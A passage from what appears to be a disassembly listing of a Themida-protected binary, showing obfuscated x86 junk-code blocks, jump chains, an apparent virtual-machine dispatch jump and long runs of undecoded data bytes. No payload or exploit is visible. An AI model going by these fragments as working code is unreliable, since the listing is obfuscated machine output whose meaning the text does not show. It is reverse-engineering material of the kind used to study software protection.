		dd 89D6EAB5h, 0E2E95AD3h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55904F:				; CODE XREF: Themida_:005605F0j
		sub	ecx, ebp
		add	ecx, 16BD4010h
		pop	ebp
		add	ebp, ecx
		jmp	loc_5539CF
; ---------------------------------------------------------------------------
aRAucacbCSO	db 'R¶Ì€îc€æBÀæ',7,'éÃŽ',0
		align 10h
aSsrv		db 'Séà¢',0
		align 2

loc_559076:				; CODE XREF: Themida_:0055F537j
		pop	esi
		push	3DA3h
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_55AD0A
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 4
		dd 2474FF57h, 48F5F04h,	0BDE95C24h, 5C000032h, 5E7768h
		dd 24048900h, 0FF9FFCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5590A9:				; CODE XREF: Themida_:0056777Ej
		mov	ecx, 7C743369h
		not	ecx
		not	ecx
		and	ecx, 0E692D1Fh
		push	eax
		mov	eax, 3C145A66h
		sub	eax, 1
		jmp	loc_55BA7A
; ---------------------------------------------------------------------------
aSu		db '[éã)',0
		align 2
		dw 0D5F7h
		dd 2514C581h, 97E907B3h
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5590DB:				; CODE XREF: Themida_:00558C6Dj
		mov	[esp], edx
		push	esp
		jmp	loc_560B8E
; ---------------------------------------------------------------------------
		dd 0E99CC885h, 0FFFF9FB9h, 0E924048Fh, 3E4Fh, 0BE243489h
		dd 6E231EBFh, 4247429h,	8324348Bh, 2C8104C4h, 75A7324h
		dd 0D4A2E95Bh, 34FF0000h, 240C8B24h, 5704C483h,	51565F54h
		dd 0B31660B9h, 0E2BD5574h, 0E93C4736h, 44C4h
; ---------------------------------------------------------------------------

loc_559130:				; CODE XREF: Themida_:00567865j
		add	ebp, esi
		sub	ebp, 1D483E98h
		add	ebp, 22715DC6h
		jmp	loc_5625BF
; ---------------------------------------------------------------------------
aTzhV		db 'TZh',8,'v',0
		align 2
aISz_		db '‰<$é§.',0
		align 2
		dw 0C381h
		dd 4, 4C381h, 1C870000h, 0C8B5C24h, 4C48324h, 4C1768h
		dd 24048900h, 0DE3792B8h, 2E1A0506h, 0D0F7470Dh, 0F6059405h
		dd 0F7D0F752h, 7AE12DD8h, 4789C583h, 24048B24h,	8304C483h
		dd 5FE904ECh, 660000E7h, 40B2525Bh, 0EAE9C2FEh
		db 0E2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5591A7:				; CODE XREF: Themida_:00563EC1j
		push	edi
		mov	edi, 3E5014C3h
		jmp	loc_566BED
; ---------------------------------------------------------------------------
		dw 0D329h
		dd 33F4E9h, 4DE94F00h, 1FFFFA5h, 0DF015DEFh, 733AEF81h
		dd 835B6B65h, 3C8704C7h, 9844E924h, 0EC810000h,	4, 0BD242C89h
		dd 72560B1Dh, 79BCCD81h, 0ED815522h, 25513109h,	0E902EDC1h
		dd 0FFFFFED6h, 4EC81h, 93E90000h, 89FFFFE3h, 4B82404h
		dd 1000000h, 24048BC1h,	4C481h,	0C1830000h, 240C8704h
		dd 3124248Bh, 0E99C2404h, 0FFFF9E7Dh, 5613C581h, 0EDC168EFh
		dd 4DDDF702h, 0C581D5F7h, 589F455Bh, 535DE909h,	0E7392BBBh
		dd 0BE565257h, 421D45F2h, 60E9F289h, 89FFFFEFh,	4C281E2h
		dd 50000000h, 4B8h, 23C9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559266:				; CODE XREF: Themida_:00555A1Bj
		mov	ebp, 3347533Fh
		jmp	loc_555A74
; ---------------------------------------------------------------------------
		dd 4240481h, 5F000000h,	85DCE9h, 40500h, 4050000h, 87000000h
		dd 248B2404h, 4EC8124h,	89000000h, 73E9241Ch
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55929B:				; CODE XREF: Themida_:00563848j
		mov	eax, 4A52727Fh
		add	ecx, eax
		pop	eax
		push	esi
		mov	esi, 342D5F71h
		add	esi, 2688301Dh
		push	eax
		mov	eax, 7194649Ah
		add	eax, 610773Eh
		shr	eax, 8
		shl	eax, 6
		neg	eax
		shl	eax, 8
		sub	eax, 14F34A6Eh
		xor	esi, eax
		jmp	loc_563B36
; ---------------------------------------------------------------------------

loc_5592D1:				; CODE XREF: Themida_:0055F743j
		mov	esp, [esp]
		add	eax, 9336D6Dh
		push	esi
		push	3199h
		mov	[esp], ebx
		push	esi
		push	7DF01603h
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 0A502BFFh
		jmp	loc_55D30B
; ---------------------------------------------------------------------------
		db 58h,	83h, 0C2h
		dd 24148704h, 3324248Bh, 0E4E9240Ch, 570000D9h,	0C781E789h
		dd 4, 4C781h, 3C870000h, 0C3815C24h, 585F6290h,	18FBC381h
		dd 0F4E92953h, 8B0000A6h, 6EE92424h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559337:				; CODE XREF: Themida_:0055CEA1j
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dd 8904EC83h, 83E92434h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559347:				; CODE XREF: Themida_:0055A172j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	1844h
		jmp	loc_55459D
; ---------------------------------------------------------------------------
		dd 5784C681h, 0C38153A7h, 6D053130h, 0EB81F301h, 6D053130h
		dd 8324348Bh, 0E3C104C4h, 0AEBF5705h, 0E90E5986h, 7B82h
		dd 0EC83475Dh, 241C8904h, 1E0BC5BBh, 38EB8170h,	293AF296h
		dd 72E95BDFh, 29000064h, 19885FF9h, 0C320E959h,	0E4BB0000h
		dd 8107753Bh, 231EB0EBh, 0AFE1E963h, 0DA28FFFFh, 0EECEE9h
		dd 7E1ABA00h, 0D5891670h, 0D74BE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5593D6:				; CODE XREF: Themida_:00560348j
		mov	[esp], edx
		mov	edx, 47F700Fh
		jmp	loc_5578DD
; ---------------------------------------------------------------------------

loc_5593E3:				; CODE XREF: Themida_:0056701Dj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	ebx, 401E49B9h
		sub	ebx, 3DED57D5h
		jmp	loc_567C82
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4668F1F7h, 89000009h, 9C502414h, 0FF9C94E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559411:				; CODE XREF: Themida_:0055740Ej
		push	eax
		mov	eax, 4
		sub	edi, eax
		jmp	loc_567316
; ---------------------------------------------------------------------------
		dw 0F729h
		dd 0E9CF015Eh, 53AAh, 0A14CF5BEh, 5EF3013Ah, 61BBEB81h
		dd 0FB012A6Dh, 65FAE9h,	8CE95700h, 0BF0000F2h, 41515D4Fh
		dd 0DAF78147h, 472CA251h, 0A96EEF81h, 0E3E952B3h, 59000036h
		dd 1C57215Dh, 0FFBE3DE9h, 0DFF74FFFh, 6DAE9h
		db 0
; ---------------------------------------------------------------------------

loc_55946D:				; CODE XREF: Themida_:00557AB8j
		push	76B8h
		jmp	loc_5547CC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 240C87D1h, 1C2815Ah,	51000000h, 68A3E9h
		db 0
; ---------------------------------------------------------------------------

loc_559489:				; CODE XREF: Themida_:00557DAFj
		xor	edx, 7B7411B7h
		mov	ebp, edx
		pop	edx
		add	eax, 25E046E4h
		sub	eax, ebp
		sub	eax, 25E046E4h
		push	dword ptr [esp]
		jmp	loc_55B862
; ---------------------------------------------------------------------------
		dw 8757h
		dd 0D2F72414h, 328DE9h,	0E9E88800h, 0CD52h, 74529725h
		dd 58E53513h, 0C529B906h, 5DEB2958h, 535DE9h, 1D11BA00h
		dd 0F2813ABEh, 6B0528D8h, 5FBBF281h, 0D3E92CF4h, 0B900000Bh
		dd 64A972D2h, 4FC368h, 240C8900h, 59241CF7h, 656068h, 242C8900h
		dd 0A63F7FBDh, 5DE93102h, 43FC68h, 242C8900h, 9B28ABBDh
		dd 51D5F759h, 827FE9h, 37266800h, 2C890000h, 4BD9E924h
		dd 59660000h, 0D8001304h, 2B2C132Ch, 79FB6851h,	14890000h
		dd 50BA6824h, 0C890000h, 88B8B524h, 0A779E9EAh,	0DA89FFFFh
		dd 83241C8Bh, 0E98104C4h, 68CE5D9Eh, 0C181D101h, 68CE5D9Eh
		dd 0FFD9CAE9h, 2BDFFh, 0E9550000h, 88B0h
; ---------------------------------------------------------------------------

loc_559570:				; CODE XREF: Themida_:0055DA41j
		add	[esp+0Ch], esi
		mov	esi, [esp]
		jmp	loc_55E5A5
; ---------------------------------------------------------------------------

loc_55957C:				; CODE XREF: Themida_:0055BCEEj
		sub	eax, ebx
		pop	ebx
		push	39A5h
		mov	[esp], esi
		push	ecx
		mov	ecx, 0D0A3B655h
		mov	esi, ecx
		jmp	loc_568BCB
; ---------------------------------------------------------------------------
aI4SS		db '‰4$éÒ™',0
		align 4

loc_55959C:				; CODE XREF: Themida_:0055FE40j
		push	edx
		push	26C8h
		mov	[esp], ebx
		push	70CB5BFCh
		pop	ebx
		not	ebx
		add	ebx, 0C838BADEh
		jmp	loc_555DDB
; ---------------------------------------------------------------------------
		dd 24048153h, 734C2D2Bh, 8324048Bh, 2B2D04C4h, 5B734C2Dh
		dd 2BEA815Fh, 175163Eh,	2BC281C2h, 0E975163Eh, 652Fh
; ---------------------------------------------------------------------------

loc_5595E0:				; CODE XREF: Themida_:00559CB9j
		shr	eax, 7
		dec	eax
		sub	eax, 3CCD3304h
		push	0
		sub	[esp], eax
		mov	eax, [esp]
		jmp	loc_562496
; ---------------------------------------------------------------------------
		db 0BBh, 0F0h, 3Bh
		dd 0DE313DE2h, 0E9DEF75Bh, 0FFFFCE8Ah, 0C104C483h, 0E95206EEh
		dd 0AA0Dh, 0E2BD555Dh, 2933B26Bh, 0C5D4E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559622:				; CODE XREF: Themida_:005537C7j
		xor	eax, ecx
		push	37C1h
		mov	[esp], eax
		jmp	loc_55F8B1
; ---------------------------------------------------------------------------

loc_559631:				; CODE XREF: Themida_:0056648Dj
		add	esi, 4
		jmp	loc_566EA7
; ---------------------------------------------------------------------------
		dd 5C241C87h, 8B24048Fh, 0FCE92424h, 57000070h,	2117E9h
		dd 81EA0100h, 81121AEAh, 14875D77h, 48F5C24h, 24248B24h
		dd 0EFF7E9h, 0B753AC00h, 0D0CF80E7h, 7C36E9h, 0D831AD00h
		dd 4EC81h, 0C890000h, 0FE5DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559686:				; CODE XREF: Themida_:00557FADj
		push	ebp
		mov	ebp, 0FE253A7h
		shl	ebp, 3
		neg	ebp
		push	ebx
		mov	ebx, 7DE43380h
		sub	ebx, 1
		neg	ebx
		add	ebx, 0FFFFFFFFh
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		not	edi
		xchg	edi, ebx
		jmp	loc_55C192
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C181E189h, 4, 3304C183h, 0C31240Ch,	240C3324h, 0FC3305Ch
		dd 8B66C0B6h, 0B9682414h, 8900003Ch, 5954240Ch,	0AFC6E953h
		dd 295AFFFFh, 0BA525FF8h, 35F942A8h, 6C2BE281h,	11E90717h
		dd 0BF000059h, 2D84B32h, 6C4668h, 24348900h, 6187E9h
		db 0
; ---------------------------------------------------------------------------

loc_559709:				; CODE XREF: Themida_:00560E6Dj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_55826B
; ---------------------------------------------------------------------------

loc_559715:				; CODE XREF: Themida_:0055796Aj
		xor	ecx, [esp]
		jmp	loc_555B23
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 0FF5604EEh, 5E042474h, 5C24048Fh,	0B8240489h
		dd 4, 48BC101h,	4C48324h, 257668h, 24048900h, 9A02BCB8h
		dd 1EE9557Fh, 81000097h, 0C5042444h, 0E9341F71h, 0FFFFD685h
		dd 1F2ECE81h, 0D6F71ECCh, 3469C681h, 0E6E96751h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559773:				; CODE XREF: Themida_:00560727j
		pop	ebp
		jmp	loc_559E18
; ---------------------------------------------------------------------------
		db 89h,	0EBh, 0E9h
		dd 0FFFFE5D4h, 0E181D1F7h, 5148246Bh, 2AE1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55978D:				; CODE XREF: Themida_:0055E5B6j
		push	4
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_555043
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 7DE95204h, 0B20000AAh, 0E9D0283Bh, 5630h
		dd 0C3FEE81h, 0C6812E80h, 0EBD435Dh, 0E92434FFh, 0FFFFE7DAh
; ---------------------------------------------------------------------------

loc_5597D8:				; CODE XREF: Themida_:0055F8E5j
		or	ecx, 193573EAh
		shl	ecx, 8
		sub	ecx, 3E3D4F60h
		jmp	loc_56182B
; ---------------------------------------------------------------------------

loc_5597EC:				; CODE XREF: Themida_:0055677Bj
		add	esp, 4
		sub	edx, eax
		push	eax
		push	5A326D6Ah
		push	dword ptr [esp]
		jmp	loc_563F7E
; ---------------------------------------------------------------------------

loc_559802:				; CODE XREF: Themida_:00553AA9j
		mov	ebp, esp
		push	24A7h
		jmp	loc_557413
; ---------------------------------------------------------------------------
		dw 8F5Bh
		dd 248B2404h, 7613E924h, 48B0000h, 91EAE924h, 0F8310000h
		dd 772BE9h, 0FDEB8100h,	29257B1Bh, 9AE9CBh, 0EE010000h
		dd 18A8EE81h, 0BF577F26h, 66BF00D6h, 0EBE9FE01h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55984B:				; CODE XREF: Themida_:00557A2Fj
		xor	ebx, 0C646A75h
		jmp	loc_566BA1
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4, 2CE9FA01h
		db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559863:				; CODE XREF: Themida_:0055647Bj
		and	eax, edx
		pop	edx
		xor	eax, 87Ah
		and	ecx, eax
		jmp	loc_56100E
; ---------------------------------------------------------------------------

loc_559872:				; CODE XREF: Themida_:00557C17j
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_554D8E
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 34FFC101h, 54525824h, 90BD555Ah, 8169E851h, 0E6613EDh
		dd 0D5F74D76h, 0EB81C581h, 0EA01F3D9h, 4C2815Dh, 87000000h
		dd 815C2414h, 4ECh, 243C8900h, 0C781E789h, 4, 0FFEE8FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5598C5:				; CODE XREF: Themida_:005652CAj
		push	67B11092h
		pop	edx
		jmp	loc_557CF5
; ---------------------------------------------------------------------------
		dd 1BFDC381h, 4B59257Bh, 0FFCD85E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5598DD:				; CODE XREF: Themida_:00556EE6j
		mov	ecx, 1E360A34h
		jmp	loc_55595C
; ---------------------------------------------------------------------------
		db 59h
		dd 4245431h, 6824148Bh,	215Ah, 0E9240489h, 1426h
; ---------------------------------------------------------------------------

loc_5598FC:				; CODE XREF: Themida_:005683ABj
		xor	esi, 6EB0501h
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, esi
		add	ebx, 7D443C4h
		pop	esi
		add	ebx, 760F5254h
		sub	ebx, eax
		jmp	loc_55E265
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFD3h, 0FFEF20E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55992D:				; CODE XREF: Themida_:00564643j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp]
		jmp	loc_55BD5D
; ---------------------------------------------------------------------------

loc_55993E:				; CODE XREF: Themida_:00559BAAj
		mov	esi, 71C562C1h
		and	esi, 1DE01442h
		sub	esi, 0FFFFFFFFh
		jmp	loc_555A8C
; ---------------------------------------------------------------------------
		dd 5A3C2ABDh, 71BB532Dh, 29620810h, 0E908245Ch,	0FFFFBBBAh
		dd 7011EA81h, 40E9B06Dh, 10000A7h, 0CB7EE9F0h, 94680000h
		dd 0E926C13Fh, 0FFFFBFF9h
; ---------------------------------------------------------------------------

loc_559984:				; CODE XREF: Themida_:005651B3j
		mov	[esp], edx
		push	ebx
		push	6954h
		jmp	loc_55EF29
; ---------------------------------------------------------------------------

loc_559992:				; CODE XREF: Themida_:00554AB9j
		add	bl, 0Dh
		mov	al, bl
		mov	ebx, [esp]
		add	esp, 4
		add	bl, al
		mov	ax, [esp]
		add	esp, 2
		add	bl, 2Ch
		add	bl, 66h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 66h
		dd 68240C8Bh, 56B1h, 89241489h,	4EC81E2h, 89000000h, 0BD55240Ch
		dd 709547C9h, 0FFF301E9h, 14F750FFh, 81975824h,	0CB083DC7h
		dd 7BBF0558h, 0F50574E6h, 0E97F615Bh, 634Bh
; ---------------------------------------------------------------------------

loc_5599F4:				; CODE XREF: Themida_:00564DEBj
		sub	edi, 0FF90540h
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55CACB
; ---------------------------------------------------------------------------
		dw 2E2Ch
		dd 0B6B35366h, 0A716E9h, 5AD10100h, 639DEB81h, 0CB290F27h
		dd 1468E9h
		db 0
; ---------------------------------------------------------------------------

loc_559A21:				; CODE XREF: Themida_:00559F79j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_55B756
; ---------------------------------------------------------------------------
		dd 55EFD158h, 0F7DFF5BDh, 5DEF01F8h, 0FFD8B3E9h, 81D1F7FFh
		dd 9A2088F1h, 0BC1816Bh, 314FC2D7h, 0C28159CEh,	0B5C22CDh
		dd 0EA81F201h, 0B5C22CDh, 2414875Eh, 0C6B685Ch,	23E90000h
		dd 31FFFFDEh, 14332414h, 6C33E924h, 0AA680000h,	8900007Dh
		dd 0EC832414h, 24248904h, 4240483h, 0FDBB535Ah,	817C1F53h
		dd 1F53F9F3h, 8ECBE97Ch, 0CD290000h, 81240C8Bh,	4C4h, 0CAF8E900h
		dd 8B66FFFFh, 54572404h, 4C7815Fh, 55000000h, 505BE9h
		db 0
; ---------------------------------------------------------------------------

loc_559ABD:				; CODE XREF: Themida_:00558E97j
		add	ebx, edi
		add	ebx, 6359355Ch
		jmp	loc_558FD0
; ---------------------------------------------------------------------------

loc_559ACA:				; CODE XREF: Themida_:00557303j
		add	ebp, 0FFFFFFFFh
		or	ebp, 179E60A2h
		sub	esp, 4
		jmp	loc_564730
; ---------------------------------------------------------------------------
		db 66h
		dd 2404BB0Fh, 95BFE99Ch, 8B66FFFFh, 0EC812404h,	4, 0E9240C89h
		dd 2723h
; ---------------------------------------------------------------------------

loc_559AF8:				; CODE XREF: Themida_:00568CF8j
		xor	edx, 40B4110Bh
		xor	edx, 526A6122h
		add	ebp, edx
		jmp	loc_55BD42
; ---------------------------------------------------------------------------

loc_559B0B:				; CODE XREF: Themida_:0055429Fj
		mov	edi, 14FE4E71h
		jmp	loc_55CBC2
; ---------------------------------------------------------------------------
		db 0B8h, 0B1h, 4Ch
		dd 0BBE93E41h, 0E900000Ch, 0FFFF9581h, 8141D1F7h, 0E870C7C1h
		dd 0E9E1D17Dh, 0FFFFBDB6h, 0EA81DA29h, 25063D6Ch, 0F8F685Bh
		dd 1FE90000h, 0C100002Bh, 0C78105E7h, 0A550AE8h, 6958CF81h
		dd 0EF8144A6h, 0DCAE7D74h, 515FF801h, 5FE9E189h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559B67:				; CODE XREF: Themida_:0055E030j
		not	dword ptr [esp]
		pop	edi
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 4
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5622F1
; ---------------------------------------------------------------------------
		db 80h
		dd 0F6E993C5h, 0FF00007Fh, 669D1C77h, 2414D259h, 0BAC2E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559BA2:				; CODE XREF: Themida_:00564CBFj
		push	3CCFh
		mov	[esp], esi
		jmp	loc_55993E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 24048B24h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 5795E9h, 7BE9AD00h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559BD3:				; CODE XREF: Themida_:0056430Cj
		push	edx
		jmp	loc_556A93
; ---------------------------------------------------------------------------
		db 0BFh, 19h, 42h
		dd 0FB2918EAh, 0C381585Fh, 0BD45638h, 0E924048Bh, 0FFFFB626h
		dd 0D067CC80h, 8ECC0E4h, 0EC80D4F6h, 3BBE9BBh, 0C2810000h
		dd 4, 4C281h, 14870000h, 0E9515C24h, 0B99h, 0C0FEC586h
		dd 0C9E9C586h, 5700008Ch, 0C781E789h, 4, 0B0ACE9h
		db 0
; ---------------------------------------------------------------------------

loc_559C31:				; CODE XREF: Themida_:0055B104j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	dl, 38h
		dec	dl
		inc	dl
		not	dl
		push	ecx
		mov	cl, 90h
		neg	cl
		not	cl
		shl	cl, 2
		neg	cl
		add	cl, 91h
		or	dl, cl
		pop	ecx
		push	cx
		mov	cl, 0BDh
		add	dl, cl
		jmp	loc_562FC1
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C781h, 0EF830000h, 243C3304h, 33243C31h, 545C243Ch
		dd 8324048Fh, 0ADE904ECh, 810000B4h, 4C4h, 2EC8100h, 0E9000000h
		dd 494Ch
; ---------------------------------------------------------------------------

loc_559C90:				; CODE XREF: Themida_:005659E1j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55B141
; ---------------------------------------------------------------------------
		dw 2BAh
		dd 1FFEBC0h, 0E8015AD5h, 5D2434FFh, 592FE9h
		db 0
; ---------------------------------------------------------------------------

loc_559CB1:				; CODE XREF: Themida_:00561538j
		push	eax
		mov	eax, 2F110781h
		neg	eax
		jmp	loc_5595E0
; ---------------------------------------------------------------------------

loc_559CBE:				; CODE XREF: Themida_:005626D0j
		xor	ebp, ebx
		jmp	loc_558968
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 7Ch
		dd 0E9022812h, 0F7Bh, 866902BDh, 7DC38157h, 2973DC34h
		dd 9786E9EBh, 0D5870000h, 253C581h, 5668A419h, 89000046h
		dd 2FE9242Ch, 680000C7h, 43FFh,	0E9240C89h, 0D31Eh, 8EBC158h
		dd 6EF9BE56h, 0B8504121h, 69667F1Ah, 53FDE9h
		db 0
; ---------------------------------------------------------------------------

loc_559D19:				; CODE XREF: Themida_:0056047Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	2A9Bh
		mov	[esp], edx
		mov	edx, 0D1E2479h
		jmp	loc_55831C
; ---------------------------------------------------------------------------
		db 68h,	7Ch, 70h
		dd 0BEE90000h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559D43:				; CODE XREF: Themida_:0055C5D6j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55BE25
; ---------------------------------------------------------------------------
		db 88h
		dd 8B5A8734h, 0C481240Ch, 4, 8B2434FFh,	0E953241Ch, 0FFFF99CAh
; ---------------------------------------------------------------------------

loc_559D68:				; CODE XREF: Themida_:0056347Aj
		add	esp, 4
		xor	dh, 4Dh
		sub	bl, dh
		push	dword ptr [esp]
		jmp	loc_553BE3
; ---------------------------------------------------------------------------

loc_559D7B:				; CODE XREF: Themida_:005687F7j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		push	13AF088Dh
		pop	ebx
		inc	ebx
		jmp	loc_55BA56
; ---------------------------------------------------------------------------

loc_559D94:				; CODE XREF: Themida_:0055CB21j
		push	1469h
		mov	[esp], edi
		jmp	loc_567A1E
; ---------------------------------------------------------------------------
aLRs@		db '‹$$Ré@Ö',0
		align 2
		dw 8142h
		dd 0A308EACAh, 0C1EA817Fh, 0D10DF063h, 9CC281EAh, 0F7D875CFh
		dd 4EC83D2h, 1821E9h, 6EEC100h,	0B4FAB951h, 0C6812D3Bh
		dd 7160309Ah, 858EE81h,	0CE0179D9h, 0C90E952h, 0C6090000h
		dd 5B685358h, 0E96ABD66h, 0D083h, 53596858h, 3C890000h
		dd 59F8BF24h, 0C781408Eh, 0BF71A60Ch, 5A72BA52h, 0D0014FE8h
		dd 0E924148Bh, 9420h
; ---------------------------------------------------------------------------

loc_559E18:				; CODE XREF: Themida_:00559774j
		pop	ecx
		push	esi
		mov	esi, 663B3FC7h
		not	esi
		push	ebp
		jmp	loc_55C0CB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 245C0100h, 241C8B04h, 4C481h, 64E90000h, 8FFFFFD5h
		dd 248B2404h, 0BA5FE924h, 0EF81FFFFh, 7AB980B3h, 815FFB89h
		dd 0C82947CBh, 0C0BF575Ah, 91F7E24h, 0EB815FFBh, 7FFE6FD3h
		dd 1C8BDE01h, 4C48324h,	0F1668h, 24148900h, 2BAh, 91EE8100h
		dd 0E9637E1Ah, 0C21Ah, 5751C505h, 41DE0541h, 0F6E91A2Fh
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559E97:				; CODE XREF: Themida_:00568944j
		push	edx
		mov	edx, eax
		push	edx
		pop	edi
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55D278
; ---------------------------------------------------------------------------
aRDjhj4		db 'RºÂ%ºDJh¦4',0
		align 4
		dd 81243489h, 4ECh, 24148900h, 1C3A0FBAh, 3D76BE0Ch, 0D6296663h
		dd 38C6815Ah, 81D51E4Fh, 612E2EEAh, 1630E911h, 0BE560000h
		dd 74915BF4h, 348BF201h, 0DE95224h, 2DFFFFEFh, 0E352D150h
		dd 35BBED81h, 0C5010427h, 35BBC581h, 48B0427h, 0BB74E924h
		dd 0D5310000h, 6115E9h
		db 0
; ---------------------------------------------------------------------------

loc_559F11:				; CODE XREF: Themida_:00566ED0j
		and	ebx, ebp
		pop	ebp
		xor	ebx, 742E4333h
		sub	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_563E7F
; ---------------------------------------------------------------------------

loc_559F24:				; CODE XREF: Themida_:0056655Dj
		sub	ebx, 23F44B5Eh
		add	ebx, ebp
		add	ebx, 23F44B5Eh
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	2CFAh
		mov	[esp], ecx
		jmp	loc_55E0E8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSvz		db '$évZ',0
		align 2

loc_559F5E:				; CODE XREF: Themida_:00558B9Dj
		add	esp, 4
		not	ecx
		add	ecx, 7F7E208Ah
		sub	ecx, 85FFFBE8h
		jmp	loc_561B36
; ---------------------------------------------------------------------------

loc_559F74:				; CODE XREF: Themida_:loc_55D773j
					; Themida_:00561B39j ...
		push	5992h
		jmp	loc_559A21
; ---------------------------------------------------------------------------

loc_559F7E:				; CODE XREF: Themida_:0055A92Aj
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	small 32AAh
		mov	[esp], cx
		jmp	loc_5541FE
; ---------------------------------------------------------------------------
		dd 5205EFC1h, 160D2868h, 2434FF52h, 0E289525Ah,	4C281h
		dd 0A8E90000h, 89FFFFE9h, 73BB241Ch, 43588A2Fh,	0DB12E9h
		dd 0EDEC8000h, 5258E328h, 4DEDE9h, 24248B00h, 0C8B60F66h
		dd 82AE956h, 2C890000h,	4BD24h,	6C010000h, 2C8B0424h, 0A5E4E924h
		dd 0EC830000h, 16DFE904h, 0F2810000h, 15C953E1h, 0E903E2C1h
		dd 8251h, 0D12BB05h, 2DF0012Dh,	2D0D12BBh, 3CB5E9h, 70EE8100h
		dd 0E9499211h, 3EDAh, 0E18849B4h, 66C80058h, 0E9240C8Bh
		dd 0FFFFDF50h, 20123025h, 91BA0579h, 0C6813B8Eh, 72226EA7h
		dd 0EE81C601h, 72226EA7h, 5EF30158h, 4EB81h, 28E90000h
		dd 5000098h, 4,	0E9240487h, 48C4h, 7368665Ch, 14896644h
		dd 30FCB224h, 0D8EFE9D4h, 66590000h, 0C281664Ah, 52660001h
		dd 241CF766h, 0F1E95A66h, 89FFFFA6h, 405E0h, 4050000h
		dd 87000000h, 815C2404h, 4C1h, 4C18100h, 87000000h, 335C240Ch
		dd 1C31241Ch, 241C3324h, 5622E95Ch, 0EAC10000h,	0E5F28103h
		dd 211E88FEh, 0C7815AD7h, 21053EF4h, 7A71E9h, 55056600h
		dd 0F801663Bh, 3B552D66h, 3B8A0566h, 7768665Fh,	1489666Eh
		dd 0BD665524h, 0F7664F6Fh, 0C58166D5h, 0F7660001h, 0C58166DDh
		dd 0A8686186h, 0E9000020h, 8FB3h, 0E9242C87h, 0FFFFA958h
; ---------------------------------------------------------------------------

loc_55A10C:				; CODE XREF: Themida_:00553765j
		sub	ecx, 333A6653h
		pop	eax
		pop	ebx
		sub	esp, 4
		jmp	loc_5581F0
